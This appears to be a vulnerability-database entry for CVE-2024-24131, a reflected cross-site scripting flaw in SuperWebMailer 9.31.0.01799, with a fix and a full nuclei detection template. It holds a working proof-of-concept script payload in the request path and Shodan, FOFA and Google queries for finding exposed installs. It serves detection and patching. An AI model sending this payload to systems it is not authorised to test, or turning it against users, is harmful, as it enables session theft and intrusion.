HexBrain

Browse / CVEs / CVE-2024-24131

CVE-2024-24131· superwebmailer / superwebmailer· CWE-79

SuperWebMailer 9.31.0.01799 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.

Impact

Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the api.php component, potentially stealing cookies or session tokens.

Fix

Update SuperWebMailer to a version newer than 9.31.0.01799.

How to confirm it

Send: GET {{BaseURL}}/api/api.php/<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "SuperWebMailerAPI" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-24131 -u <target>

The full check
id: CVE-2024-24131

info:
  name: SuperWebMailer 9.31.0.01799 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the api.php component, potentially stealing cookies or session tokens.
  remediation: |
    Update SuperWebMailer to a version newer than 9.31.0.01799.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-24131
    cwe-id: CWE-79
    epss-score: 0.00924
    epss-percentile: 0.60715
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.31.0.01799:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2024,superwebmailer,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/api.php/<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "SuperWebMailerAPI"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from